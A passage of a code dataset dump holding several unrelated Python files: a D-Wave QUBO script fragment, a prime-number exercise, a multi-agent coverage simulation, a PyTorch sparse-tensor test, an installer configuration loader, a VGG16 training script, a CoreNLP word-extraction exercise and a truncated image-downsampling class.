'num_occurrences'])])\r\nresponse_df.columns = ['sample', 'energy', 'num_occurrences']\r\nresponse_pv = response_df.pivot_table(index = ['sample','energy'], values = 'num_occurrences', aggfunc = sum)\r\nprint(response_pv.sort_values(by = 'num_occurrences', ascending = False))\r\n\r\n###############################################################################################################################################################################################\r\na0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12 = symbols('a0:13')\r\nb0,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12 = symbols('b0:13')\r\n\r\nobj = Poly(2*(a0+2*a1+4*a2+8*a3+16*a4+32*a5+64*a6+128*a7+256*a8+512*a9+1024*a10+2048*a11+4096*a12) - b0+2*b1+4*b2+8*b3+16*b4+32*b5+64*b6+128*b7+256*b8+512*b9+1024*b10+2048*b11+4096*b12) # ----> min\r\nc1 = Poly(a0+2*a1+4*a2+8*a3+16*a4+32*a5+64*a6+128*a7+256*a8+512*a9+1024*a10+2048*a11+4096*a12 - 4000) # constraint 1\r\nc2 = Poly(b0+2*b1+4*b2+8*b3+16*b4+32*b5+64*b6+128*b7+256*b8+512*b9+1024*b10+2048*b11+4096*b12 - 4000) # constraint 2\r\nP1 = 10 # penalty 1\r\nP2 = 10 # penalty 2\r\nH = obj + P1*c1**2 + P2*c2**2\r\n\r\n# reduce x**2 to x as x is binary\r\nH1 = reduce_squares(H, (a0,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,b0,b1,b2,b3,b4,b5,b6,b7,b8,b9,b10,b11,b12))\r\nQ = translate_indexes(H1)\r\n\r\nresponse = EmbeddingComposite(DWaveSamplerInstance).sample_qubo(Q, num_reads=1000)\r\nfor sample in response.data():\r\n print(sample[0], \"Energy: \", sample[1], \"Occurrences: \",sample[2])\r\n","sub_path":"dwave scripts/dwave-4-integer_programming.py","file_name":"dwave-4-integer_programming.py","file_ext":"py","file_size_in_byte":8258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"175144543","text":"minNumber=0\r\nmaxNumber=1000\r\n\r\ndef isPrime(x):\r\n count = 0\r\n for i in range(int(x/2)):\r\n if x % (i+1) == 0:\r\n count = count+1\r\n return count == 1\r\n\r\ndef getPrimes(minPrime, maxPrime):\r\n if(minPrimemaxNumber):\r\n print(\"Başlangıç ve bitiş değerleri 0-1000 aralığında olmalı!\")\r\n return ''\r\n primes = [i for i in range(minPrime,maxPrime) if isPrime(i)]\r\n return primes\r\n\r\ndef prime_first():\r\n return getPrimes(0, 501)\r\n\r\n\r\ndef prime_second():\r\n return getPrimes(501, 1000)\r\n\r\nprint(prime_first())\r\nprint(prime_second())","sub_path":"HomeWork/Day4.py","file_name":"Day4.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"437823058","text":"import numpy as np\r\nimport numpy.ma as ma\r\nfrom scipy.integrate import quad, dblquad, nquad\r\nfrom matplotlib import pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfrom scipy import integrate as intg\r\nimport random as rd\r\n\r\nclass Task(object):\r\n def __init__(self,AgentsConfig, InitializationConfig, FieldConfig, SimuConfig):\r\n self.field = Field(AgentsConfig, InitializationConfig, FieldConfig)\r\n self.dt = SimuConfig['dt']\r\n self.endTime = SimuConfig['endTime']\r\n self.fig = plt.figure()\r\n\r\n self.ax = self.fig.add_subplot(111)\r\n self.ax.grid(True)\r\n plt.draw()\r\n def run(self):\r\n for i in range(200):\r\n #### calculate velocities ####\r\n if self.field.isDeadLocked():\r\n if self.field.isReachedDestin():\r\n self.field.setDeadLckToFalse()\r\n else:\r\n pass\r\n if not(self.field.getIsDeadLck()):\r\n self.field.calculateVels()\r\n else:\r\n self.field.calculateVels()\r\n self.field.combVCol()\r\n\r\n #### move agents ####\r\n self.field.moveAgents(self.dt)\r\n self.field.calculateErr()\r\n #### plots ####\r\n plt.pause(0.01)\r\n self.ax.scatter(self.field.agents.getPos()[:, 0], self.field.agents.getPos()[:, 1])\r\n plt.draw()\r\n # self.field.plotErrMesh()\r\n # self.field.plotAgentPos()\r\n # plt.clf()\r\n print(self.field.getTotalErr())\r\n\r\nclass Agents(object):\r\n def __init__(self, AgentsConfig, InitializationConfig):\r\n self.numberOfAgents = AgentsConfig['numberOfAgents']\r\n self.MaxValue = AgentsConfig['MaxValue']\r\n self.r = AgentsConfig['r']\r\n self.rForCalculCapacity = self.r * 1.2\r\n self.degreeOfCostFunc = AgentsConfig['degreeOfCostFunc']\r\n self.InitialResolution = InitializationConfig['resolutionMesh']\r\n self.Velocities = np.zeros([self.numberOfAgents, 2])\r\n self.AgentPositions = np.zeros([self.numberOfAgents, 2])\r\n self.basicFunc = BasicFunctions()\r\n self.calInitCapacity()\r\n\r\n def moveAgents(self, dt):\r\n self.AgentPositions = self.Velocities * dt\r\n\r\n def setPos(self, pos):\r\n self.AgentPositions = pos\r\n def getPos(self):\r\n return self.AgentPositions\r\n\r\n def setVelos(self, vel):\r\n self.Velocities = vel\r\n def getVelos(self):\r\n return self.Velocities\r\n\r\n def getNumerOfAgents(self):\r\n return self.numberOfAgents\r\n\r\n def get_r(self):\r\n return self.r\r\n\r\n def calInitCapacity(self):\r\n step = 2 * self.rForCalculCapacity / self.InitialResolution\r\n X = np.arange(-self.rForCalculCapacity, self.rForCalculCapacity + 1e-5, step)\r\n Y = np.arange(-self.rForCalculCapacity, self.rForCalculCapacity + 1e-5, step)\r\n X, Y = np.meshgrid(X, Y)\r\n capacities, deriv_s = self.calCapacitiesMesh(X, Y)\r\n self.plotOneCapFunc(X, Y, capacities[0])\r\n print(\"totla capacity under the Effective function: \" , self.integrateCap())\r\n return capacities[0], deriv_s\r\n\r\n def plotOneCapFunc(self, X, Y, capacities):\r\n fig = plt.figure()\r\n ax = Axes3D(fig)\r\n ax.plot_surface(X, Y, capacities)\r\n plt.show()\r\n\r\n def integrateCap(self):\r\n return dblquad(lambda x,y: self.calCapacitiesPts([0, 0], x,y), -self.rForCalculCapacity,self.rForCalculCapacity,\r\n lambda y: -self.rForCalculCapacity,self.rForCalculCapacity)\r\n\r\n def calCapacitiesPts(self, pt, x, y):\r\n dist = self.basicFunc.distSquarePtToPt(pt, x, y)\r\n return (dist < self.r * self.r) * self.MaxValue / pow(self.r, 4) * pow(dist - self.r * self.r, 2)\r\n\r\n def calCapacitiesMesh(self, X, Y):\r\n dists = self.basicFunc.distSquarePtsToMesh(self.AgentPositions, X, Y)\r\n capacities = [(dist <= self.r * self.r) * self.MaxValue / pow(self.r, 4) * pow(dist - self.r * self.r, 2) for dist in dists]\r\n deriv_s = [(dist <= self.r * self.r) * 2 * self.MaxValue / pow(self.r, 4) * (dist - self.r * self.r) for dist in dists]\r\n return capacities, deriv_s\r\n\r\nclass Field(object):\r\n def __init__(self, AgentsConfig, InitializationConfig, FieldConfig):\r\n self.agents = Agents(AgentsConfig, InitializationConfig)\r\n step_x, step_y = FieldConfig['size_x'] / FieldConfig['resolution'], FieldConfig['size_y'] / FieldConfig['resolution']\r\n self.xMin, self.xMax = -FieldConfig['size_x'] / 2, FieldConfig['size_x'] / 2\r\n self.yMin, self.yMax = -FieldConfig['size_y'] / 2, FieldConfig['size_y'] / 2\r\n self.k_cov = FieldConfig['k_cov']\r\n self.k_col = FieldConfig['k_col']\r\n self.k_linear = FieldConfig['k_linear']\r\n self.R_col = self.agents.get_r() * 1.5\r\n self.r_col = self.agents.get_r() * 1.2\r\n # self.frame = plt.figure()\r\n # self.ax_mesh = self.frame.add_subplot(211, projection='3d')\r\n # self.ax_pos = self.frame.add_subplot(111)\r\n # self.ax_pos.grid(True)\r\n #\r\n # plt.tight_layout()\r\n # plt.draw()\r\n\r\n self.x = np.arange(self.xMin, self.xMax + 1e-5, step_x)\r\n self.y = np.arange(self.yMin, self.yMax + 1e-5, step_y)\r\n self.X, self.Y = np.meshgrid(self.x, self.y)\r\n self.MeshErr = FieldConfig['C_star'] * np.ones(self.X.shape)\r\n self.totalErr = FieldConfig['C_star'] * (self.xMax - self.xMin) * (self.yMax - self.yMin)\r\n self.totalErrBuffer = self.totalErr\r\n self.isDeadLck = False\r\n self.minDistPt = np.zeros([self.agents.getNumerOfAgents(), 2])\r\n self.randomInit()\r\n self.calculateErr()\r\n self.plotErrMesh()\r\n\r\n def randomInit(self):\r\n # randomly init the positions near the edge of the field\r\n dice = np.random.random_integers(1, 4 , [self.agents.numberOfAgents, ])\r\n pos = np.zeros([self.agents.numberOfAgents, 2])\r\n for i_dice in range(self.agents.numberOfAgents):\r\n if dice[i_dice] == 1:\r\n pos[i_dice] = [self.xMin + (2 * np.random.rand() - 1) * self.agents.r,\r\n self.yMin + np.random.rand() * (self.yMax - self.yMin)]\r\n elif dice[i_dice] == 2:\r\n pos[i_dice] = [self.xMax + (2 * np.random.rand() - 1) * self.agents.r,\r\n self.yMin + np.random.rand() * (self.yMax - self.yMin)]\r\n elif dice[i_dice] == 3:\r\n pos[i_dice] = [self.xMin + np.random.rand() * (self.xMax - self.xMin),\r\n self.yMin + (2 * np.random.rand() - 1) * self.agents.r]\r\n elif dice[i_dice] == 4:\r\n pos[i_dice] = [self.xMin + np.random.rand() * (self.xMax - self.xMin),\r\n self.yMax + (2 * np.random.rand() - 1) * self.agents.r]\r\n\r\n self.agents.setPos(pos)\r\n return True\r\n\r\n def calculateErr(self):\r\n for i_capacity in self.agents.calCapacitiesMesh(self.X, self.Y)[0]:\r\n self.MeshErr = self.MeshErr - i_capacity\r\n self.MeshErr[self.MeshErr < 0] = 0\r\n\r\n def getTotalErr(self):\r\n self.totalErrBuffer = self.totalErr\r\n self.totalErr = intg.trapz(intg.trapz(self.MeshErr,self.x),self.y)\r\n return self.totalErr\r\n\r\n def isDeadLocked(self):\r\n self.isDeadLck = self.totalErr - self.totalErrBuffer <= 1e-4\r\n return self.getIsDeadLck()\r\n\r\n def getIsDeadLck(self):\r\n return self.isDeadLck\r\n def setDeadLckToFalse(self):\r\n self.isDeadLck = False\r\n def findNewDestInDeadLck(self):\r\n pts = self.agents.getPos()\r\n dists = np.array(self.agents.basicFunc.distSquarePtsToMesh(pts, self.X, self.Y))\r\n x = self.X.reshape(-1)\r\n y = self.X.reshape(-1)\r\n ds = dists.reshape(self.agents.getNumerOfAgents(), -1)\r\n err = self.MeshErr.reshape(-1)\r\n mask = (err <= 0)\r\n\r\n d_arrays = [[ma.array(d, mask=mask)] for d in ds]\r\n min_dists = [ma.min(d) for d in d_arrays]\r\n ds_list = [d.tolist() for d in ds]\r\n x = x.tolist()\r\n y = y.tolist()\r\n min_indxs = []\r\n for i in range(len(ds_list)):\r\n min_indxs.append(ds_list[i].index(min_dists[i]))\r\n self.minDistPt = [[x[i_minIndx], y[i_minIndx]] for i_minIndx in min_indxs]\r\n\r\n def isReachedDestin(self):\r\n return np.sum(np.sum(np.abs(self.agents.getPos() - self.minDistPt), axis=1)\\\r\n < self.agents.get_r() * self.agents.get_r()) == self.agents.getNumerOfAgents()\r\n def calVelDeadLck(self):\r\n self.findNewDestInDeadLck()\r\n v_tmp = -self.k_linear * (self.agents.getPos() - self.minDistPt)\r\n self.agents.setVelos(v_tmp)\r\n\r\n # def GiveIntegFuncVel(self, x, y):\r\n def calculateVels(self):\r\n diffVec_x, diffVec_y = self.agents.basicFunc.diffVecMesh(self.agents.AgentPositions, self.X, self.Y)\r\n capacities, derivs = self.agents.calCapacitiesMesh(X=self.X, Y=self.Y)\r\n dervCostFunc = self.agents.basicFunc.dervCostFunction(self.agents.degreeOfCostFunc, self.MeshErr)\r\n dists = self.agents.basicFunc.distSquarePtsToMesh(self.agents.AgentPositions, self.X, self.Y)\r\n\r\n ElemToInteg_x = [(dists[i] < self.agents.r * self.agents.r) * derivs[i] * dervCostFunc * diffVec_x[i]\r\n for i in range(self.agents.getNumerOfAgents())]\r\n ElemToInteg_y = [(dists[i] < self.agents.r * self.agents.r) * derivs[i] * dervCostFunc * diffVec_y[i]\r\n for i in range(self.agents.getNumerOfAgents())]\r\n v_x = intg.trapz(intg.trapz(ElemToInteg_x, self.x), self.y)\r\n v_y = intg.trapz(intg.trapz(ElemToInteg_y, self.x), self.y)\r\n velocities_new = self.k_cov * np.array([[v_x[i_agent],v_y[i_agent]] for i_agent in range(self.agents.getNumerOfAgents())])\r\n self.agents.setVelos(velocities_new)\r\n return\r\n\r\n\r\n\r\n def calColAvoidVel(self):\r\n agent_x, agent_y = [[x] for x in self.agents.getPos()[:, 0]], [[y] for y in self.agents.getPos()[:, 1]]\r\n\r\n diff_dist_x, diff_dist_y = np.transpose(agent_x) - agent_x, np.transpose(agent_y) - agent_y\r\n diff_dist_x_sq, diff_dist_y_sq = diff_dist_x * diff_dist_x, diff_dist_y * diff_dist_y\r\n\r\n diff_dist = np.sqrt(diff_dist_x_sq + diff_dist_y_sq)\r\n diff_dist_sq = diff_dist * diff_dist\r\n\r\n isInRange = (diff_dist < self.R_col) * (diff_dist > self.r_col)\r\n\r\n coeff = 4 * (self.R_col * self.R_col - self.r_col * self.r_col) * (diff_dist_sq - self.R_col * self.R_col)\\\r\n / pow((diff_dist_sq - self.r_col * self.r_col), 3) * isInRange\r\n v_x = np.sum(coeff * diff_dist_x)\r\n v_y = np.sum(coeff * diff_dist_y)\r\n\r\n return -self.k_col * np.array([v_x, v_y])\r\n\r\n def combVCol(self):\r\n v_tmp = self.agents.getVelos()\r\n v_tmp += self.calColAvoidVel()\r\n self.agents.setVelos(v_tmp)\r\n return\r\n\r\n def plotErrMesh(self):\r\n # self.ax_mesh.clear()\r\n # self.ax_mesh.plot_surface(self.X, self.Y, self.MeshErr)\r\n # self.frame.colorbar(surf, shrink=0.5, aspect=5)\r\n plt.draw()\r\n\r\n def plotAgentPos(self):\r\n # self.ax_pos.scatter(self.agents.getPos()[:, 0], self.agents.getPos()[:, 1])\r\n # plt.draw()\r\n return\r\n\r\n def moveAgents(self, dt):\r\n self.agents.moveAgents(dt)\r\n\r\nclass Results(object):\r\n def __init__(self):\r\n self.err_time = []\r\n self.velocities_time = []\r\n self.positions_time = []\r\n self.mesh_diff = []\r\n\r\n def plotResults(self):\r\n pass\r\n def saveResults(self, filePath):\r\n pass\r\n def loadResults(self, filePath):\r\n pass\r\n\r\nclass BasicFunctions(object):\r\n def __init__(self):\r\n pass\r\n\r\n def distSquarePtToMesh(self, Pt, X, Y):\r\n return (Pt[0]-X)*(Pt[0]-X) + (Pt[1]-Y)*(Pt[1]-Y)\r\n\r\n def distSquarePtsToMesh(self, Pts, X, Y):\r\n res = [self.distSquarePtToMesh(i_Pt, X, Y) for i_Pt in Pts[:]]\r\n return res\r\n\r\n def distSquarePtToPt(self, Pt, x, y):\r\n return (Pt[0] - x) * (Pt[0] - x) + (Pt[1] - y) * (Pt[1] - y)\r\n\r\n def dervCostFunction(self, degree, ErrMesh):\r\n return (ErrMesh > 0) * degree * pow(ErrMesh, degree - 1)\r\n\r\n def diffVecMesh(self, Pts, X, Y):\r\n return [i_Pt[0] - X for i_Pt in Pts], [i_Pt[1] - Y for i_Pt in Pts]\r\n\r\n def diffVecPt(self, Pts, x, y):\r\n return [i_Pt[0] - x for i_Pt in Pts], [[i_Pt[1] - y for i_Pt in Pts[:]]]\r\n","sub_path":"pyProject/includes/taskDef.py","file_name":"taskDef.py","file_ext":"py","file_size_in_byte":12528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"631512493","text":"import torch\n\n\ni = torch.LongTensor([[0, 1, 1],\n [2, 0, 2]])\n\nv = torch.FloatTensor([3, 4, 5])\n\ntorch.sparse.FloatTensor(i, v, torch.Size([2,3])).to_dense()\n\n\n\na = torch.randn(2,3).to_sparse().requires_grad_()\na\nb = torch.randn(3,2,requires_grad=True)\nb\n\ny = torch.sparse.mm(a,b)\ny = torch.nn.Softmax(dim=-1)(y)\ny.sum().backward()\na.grad\n\nS = torch.sparse_coo_tensor(indices = torch.tensor([[0,0,1,2],[2,3,0,3]]), values = torch.tensor([1,2,1,3]), size=[3,4])","sub_path":"agent/test/sparse_tensor.py","file_name":"sparse_tensor.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"413032789","text":"import copy\nimport json\nimport sys\n\nfrom pkg_resources import resource_string, resource_listdir\n\nfrom installer.utils import resolve_platform, clean_json_str, fill_dict\n\n\n# noinspection PyPep8Naming\nclass BaseApplicationDetails:\n \"\"\"\n :type name: str\n :type version: str\n \"\"\"\n\n @classmethod\n def from_dict(cls, d):\n return cls(**d)\n\n def __init__(self, name, version):\n \"\"\"\n :type name: str\n :type version: str\n \"\"\"\n self.name = name\n self.version = version\n\n\n# noinspection PyPep8Naming\nclass TargetInstallationPlatform:\n \"\"\"\n :type identifier: str\n :type packageManagerInitCommands: list[str]\n :type packageManagerInstallationCommand: str\n :type requiredPlatformPackages: list[str]\n \"\"\"\n\n @classmethod\n def from_dict(cls, d):\n return cls(**d)\n\n def __init__(self, identifier, packageManagerInitCommands, packageManagerInstallationCommand,\n requiredPlatformPackages):\n \"\"\"\n :type identifier: str\n :type packageManagerInitCommands: list[str]\n :type packageManagerInstallationCommand: str\n :type requiredPlatformPackages: list[str]\n \"\"\"\n self.identifier = identifier\n self.packageManagerInitCommands = packageManagerInitCommands\n self.packageManagerInstallationCommand = packageManagerInstallationCommand\n self.requiredPlatformPackages = requiredPlatformPackages\n\n\n# noinspection PyPep8Naming\nclass SubInstallerConfiguration:\n \"\"\"\n :type installationCommand: str\n :type packageList: list[str]\n \"\"\"\n\n @classmethod\n def from_dict(cls, d):\n return cls(**d)\n\n def __init__(self, installationCommand, packageList):\n \"\"\"\n :type installationCommand: str\n :type packageList: list[str]\n \"\"\"\n self.installationCommand = installationCommand\n self.packageList = packageList\n\n\n# noinspection PyPep8Naming\nclass InstallerConfiguration:\n @classmethod\n def from_dict(cls, source_dict):\n platform = sys.platform\n\n d2 = copy.deepcopy(source_dict)\n if 'osx' in d2:\n d2.pop('osx')\n if 'linux' in d2:\n d2.pop('linux')\n\n if platform == 'darwin' and 'osx' in source_dict:\n k = source_dict['osx']\n d2.update(k)\n\n elif (platform == 'linux' or platform == 'linux2') and 'linux' in source_dict:\n distro = resolve_platform()\n\n l_d = copy.deepcopy(source_dict['linux'])\n target = copy.deepcopy(source_dict['linux'])\n\n if 'ubuntu' in target:\n target.pop('ubuntu')\n\n if distro in l_d:\n k = l_d[distro]\n target.update(k)\n\n d2.update(target)\n\n if 'subInstaller' in d2:\n d2['subInstaller'] = SubInstallerConfiguration.from_dict(d2['subInstaller'])\n else:\n d2['subInstaller'] = None\n\n if 'version' not in d2:\n d2['version'] = None\n if 'versionExtractionCommand' not in d2:\n d2['versionExtractionCommand'] = None\n if 'versionExtractionRegex' not in d2:\n d2['versionExtractionRegex'] = None\n if 'home' not in d2:\n d2['home'] = None\n if 'homeExportVariable' not in d2:\n d2['homeExportVariable'] = None\n if 'pathExports' not in d2:\n d2['pathExports'] = list()\n\n return cls(**d2)\n\n def __init__(self, identifier, setupCommands, requiredExecutables, homeExportRequired, pathExports,\n version, home, versionExtractionCommand, versionExtractionRegex, homeExportVariable,\n packageDependencies, subInstaller, sudoSetupCommands=None):\n \"\"\"\n :type identifier: str\n :type setupCommands: list[str]\n :type requiredExecutables: list[str]\n :type homeExportRequired: bool\n :type pathExports: list[str]\n :type version: str\n :type home: str\n :type versionExtractionCommand: str\n :type versionExtractionRegex: str\n :type homeExportVariable: str\n :type packageDependencies: list[str]\n :type subInstaller: SubInstallerConfiguration\n :type sudoSetupCommands: list[str]\n \"\"\"\n self.identifier = identifier\n self.version = version\n self.home = home\n self.versionExtractionCommand = versionExtractionCommand\n self.versionExtractionRegex = versionExtractionRegex\n self.setupCommands = setupCommands\n self.requiredExecutables = requiredExecutables\n self.pathExports = pathExports\n self.homeExportVariable = homeExportVariable\n self.homeExportRequired = homeExportRequired\n self.packageDependencies = [] if packageDependencies is None else packageDependencies\n self.subInstaller = subInstaller\n self.sudoSetupCommands = [] if sudoSetupCommands is None else sudoSetupCommands\n\n\n# noinspection PyPep8Naming\nclass InstallationConfiguration:\n @classmethod\n def from_dict(cls, d):\n \"\"\"\n :type d: dict[str]\n :rtype: InstallerConfiguration\n \"\"\"\n\n d2 = copy.deepcopy(d)\n target_installation_platforms = dict()\n for key in d['targetInstallationPlatforms']:\n target_installation_platforms[key] = \\\n TargetInstallationPlatform.from_dict(d['targetInstallationPlatforms'][key])\n d2['targetInstallationPlatforms'] = target_installation_platforms\n\n applications = list()\n for val in d['applications']:\n applications.append(InstallerConfiguration.from_dict(val))\n d2['applications'] = applications\n\n return cls(**d2)\n\n def __init__(self, installationRoot, tempDirectory, targetInstallationPlatforms, applications):\n \"\"\"\n :type installationRoot: str\n :type tempDirectory: str\n :type targetInstallationPlatforms: dict[str, TargetInstallationPlatform]\n :type applications: list[InstallerConfiguration]\n \"\"\"\n self.installationRoot = installationRoot\n self.tempDirectory = tempDirectory\n self.applications = applications\n self.targetInstallationPlatforms = targetInstallationPlatforms\n\n\ninstallation_configuration_d = None # type: dict\n\ninstallation_configuration = None # type: InstallationConfiguration\n\n\ndef init_configuration(installation_root, configuration_profile):\n \"\"\"\n :type installation_root: str\n :type configuration_profile: str\n \"\"\"\n global installation_configuration_d, installation_configuration\n\n basic_configuration_d = json.loads(clean_json_str(\n resource_string('installer.resources', 'installation_configuration.json')))\n\n if configuration_profile not in basic_configuration_d['configurationProfiles']:\n raise Exception(\"Invalid override value of '\" + configuration_profile + \"'! Valid values: \" +\n str(list(basic_configuration_d['configurationProfiles'].keys())))\n else:\n configuration_override_d = basic_configuration_d['configurationProfiles'][configuration_profile]\n basic_configuration_d.pop('configurationProfiles')\n basic_configuration_d.update(configuration_override_d)\n\n app_packages = list(filter(lambda x: not x.startswith('_') and x.endswith('.json'),\n resource_listdir('installer.resources.app_configurations', '')))\n\n for appIdentifier in basic_configuration_d['applicationIdentifiers']:\n if appIdentifier.startswith('__') or not appIdentifier + '.json' in app_packages:\n raise Exception(\"Invalid package name '\" + appIdentifier +\n \"' specified within configuration file! Valid values: \" +\n str(list(map(lambda x: x[0:-5], app_packages))))\n\n else:\n basic_configuration_d['applications'].append(json.loads(clean_json_str(\n resource_string('installer.resources.app_configurations', appIdentifier + \".json\")\n )))\n\n basic_configuration_d.pop(\"applicationIdentifiers\")\n\n installation_configuration_d = fill_dict(basic_configuration_d,\n {'installationRoot': installation_root,\n \"dataRoot\": '/dev/null',\n \"logFile\": \"/dev/null\",\n \"artifactRoot\": '/dev/null'\n })\n\n installation_configuration = InstallationConfiguration.from_dict(installation_configuration_d)\n\n\ndef get_configuration_profiles():\n \"\"\"\n :rtype: list[str]\n \"\"\"\n basic_configuration_d = json.loads(clean_json_str(\n resource_string('installer.resources', 'installation_configuration.json')))\n return list(basic_configuration_d['configurationProfiles'].keys())\n\n\nif __name__ == '__main__':\n init_configuration('/meh', \"phase2\")\n config = installation_configuration\n print('hi')\n","sub_path":"immortals_repo/shared/tools/installer/datatypes.py","file_name":"datatypes.py","file_ext":"py","file_size_in_byte":9023,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"88768268","text":"import pandas as pd\nfrom torch.utils.data import DataLoader\nimport torch\nimport numpy as np\nimport torchvision.transforms as tt\n\nfrom vgg16 import VGG16\nfrom datasets import InferenceDataset, GDataset\nimport sys\n\n\ndef train_model(index, dir_, model_file=\"\", \n epochs=32, \n model_save=False, model_save_name=\"vgg16_iter\"):\n \"\"\" Training the model\n @param index: index file of the train data\n @param dir_: directory name that stores the properly formatted data\n @param model_file: model state file for continuous training\n @param epochs: number of iterations to run\n @param model_save: whether to save as a model file\n @param model_save_name: name of the saving model file\n \"\"\"\n \n df = pd.read_csv(index).sample(frac=0.1)\n dataset = GDataset(df, dir_)\n \n batch_size = 108\n dataloader = DataLoader(dataset, batch_size=batch_size)\n\n model = VGG16()\n \n if model_file != \"\":\n model.load_state_dict(torch.load(model_file))\n for param in model.features[:34].parameters():\n param.requires_grad = False\n \n model.cuda()\n \n criterion = torch.nn.CrossEntropyLoss()\n softmax = torch.nn.Softmax(dim=1)\n optimizer = torch.optim.Adam(model.parameters())\n\n # train the model\n for e in range(epochs):\n\n train_loss = 0\n accuracy = 0\n counter = 0\n for x, t in dataloader:\n counter += 1\n print(round(counter / len(dataloader) * 100, 2), \"% \", end=\"\\r\")\n x, t = x.cuda(), t.cuda()\n optimizer.zero_grad()\n z = model(x)\n loss = criterion(z, t)\n loss.backward()\n optimizer.step()\n train_loss += loss.item()\n\n y = softmax(z)\n top_p, top_class = y.topk(1, dim=1)\n accuracy += (top_class[:, 0] == t).sum().item()\n\n print(e, train_loss / len(dataloader), accuracy / len(dataset))\n if model_save:\n torch.save(model.state_dict(), model_save_name + str(e) +\".pth\")\n \n\n \n \ndef inference(index, dir_, model_file):\n \"\"\" Inferencing the model\n @param index: index file of the train data\n @param dir_: directory name that stores the properly formatted data\n @param model_file: model state file for continuous training\n \"\"\"\n df = pd.read_csv(index)\n dataset = InferenceDataset(df, dir_)\n \n model = VGG16()\n model.load_state_dict(torch.load(model_file))\n model.cuda()\n model.eval()\n\n criterion = torch.nn.CrossEntropyLoss()\n softmax = torch.nn.Softmax(dim=1)\n transform = tt.Compose([\n tt.Resize((128, 128)),\n tt.ToTensor(),\n tt.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5))\n ])\n\n loss_sum = 0\n accuracy = 0\n top_5_accuracy = 0\n counter = 0\n for x, t_cpu in dataset:\n counter += 1\n x_cpu = np.array(x)\n x, t = transform(x).unsqueeze(0).cuda(), t_cpu.unsqueeze(0).cuda()\n z = model(x)\n y = softmax(z)\n top_p, top_class = y.topk(5, dim=1)\n accuracy += (top_class[:, 0] == t).sum().item()\n top_5_accuracy += (top_class == t.unsqueeze(1).repeat(1, 5)).max(axis=1).values.sum().item()\n \n print(\"Top 1 Accuracy:\", accuracy / len(dataset))\n print(\"Top 5 accuracy:\", top_5_accuracy / len(dataset))\n \nif __name__ == \"__main__\":\n print(\"Loading dataset:\", sys.argv[2])\n print(\"Dataset folder:\", sys.argv[3])\n print(\"Model:\", sys.argv[4])\n mode = sys.argv[1]\n index = sys.argv[2]\n dir_ = sys.argv[3]\n model_file = sys.argv[4] if sys.argv[4] else \"\"\n if mode == \"inference\":\n inference(index, dir_, model_file)\n elif mode == \"train\":\n train_model(index, dir_, model_file=model_file, epochs=32, model_save=True)\n \n\n\n\n","sub_path":"run_model.py","file_name":"run_model.py","file_ext":"py","file_size_in_byte":3839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"133761018","text":"# coding = utf-8\n\"\"\"\ncreate on : 2017/12/13\nproject name : NLP_100\nfile name : problem_no_53 \n\nThis problem using nlp.txt\nThis file is available at \"http://www.cl.ecei.tohoku.ac.jp/nlp100/\".\nThis file NOT include this repository.\nIf you need file, please get above web site.\n\nproblem : Stanford Core NLPを用い,入力テキストの解析結果をXML形式で得よ.\n また,このXMLファイルを読み込み,入力テキストを1行1単語の形式で出力せよ.\n\"\"\"\nfrom bs4 import BeautifulSoup\n\n\ndef get_nlp_soup():\n \"\"\" read tokenize result xml to BeautifulSoup Class\n\n :return: tokenize result BeautifulSoup Class\n \"\"\"\n\n with open(\"./nlp.txt.xml\", mode=\"r\") as f:\n xml = f.read()\n\n soup = BeautifulSoup(xml, \"xml\")\n\n return soup\n\n\ndef problem_no_53():\n \"\"\" tokenize nlp.txt to get result on xml format by Stanford NLP Core,\n and read xml output result get tokenize word.\n\n :return: tokenize words\n \"\"\"\n\n soup = get_nlp_soup()\n\n words_list = [word.string for word in soup.find_all(\"word\")]\n\n word = \"\\n\".join(words_list)\n\n return word\n\n\nif __name__ == \"__main__\":\n print(problem_no_53())\n","sub_path":"codes/chapter_06/problem_no_53.py","file_name":"problem_no_53.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"150531988","text":"import numpy as np\nimport math\nimport cv2\n\n\nclass Q1:\n def __init__(self):\n self.ImageData = self.normalize_to_0to1(self.loadImage_data())\n\n def loadImage_data(self):\n return np.loadtxt(\"../2_1.asc\")\n\n def normalize_to_0to1(self, imageData):\n return imageData / 255\n\n def showImage(self, ImageName, ImageData):\n cv2.imshow(ImageName, ImageData)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def Part_a_i(self, ImageData):\n rows, columns = np.shape(ImageData)\n return ImageData[0:rows:4, 0:columns:4]\n\n def Part_a_ii(self, ImageData):\n # finding rows and columns of the given image data\n rows, columns = np.shape(ImageData)\n\n # now lets calculate the average of 4x4 area and add it to our matrix\n rows_select = [x * 4 for x in range(0, int(rows / 4) + 1)]\n columns_select = [x * 4 for x in range(0, int(columns / 4) + 1)]\n\n average_array = []\n\n for x in range(len(rows_select) - 1):\n for y in range(len(columns_select) - 1):\n average_array.append(\n np.mean(ImageData[rows_select[x]:rows_select[x + 1], columns_select[y]:columns_select[y + 1]]))\n\n # convert list to np array\n new_array = np.array(average_array)\n\n # reshape it to 4 times smaller matrix\n return new_array.reshape(int(rows / 4), int(columns / 4))\n\n def Part_b_i(self, ImageData, Enlarge):\n # finding rows and columns of the given image data\n rows, columns = np.shape(ImageData)\n\n # lets create a list\n Elements_to_repeat = []\n\n # horizontally adding more pixels\n for x in range(rows):\n temp = []\n for y in range(columns):\n for z in range(Enlarge):\n temp.append(ImageData[x][y])\n Elements_to_repeat.append(temp)\n\n Enlarged_image_data = []\n\n # Vertically adding more 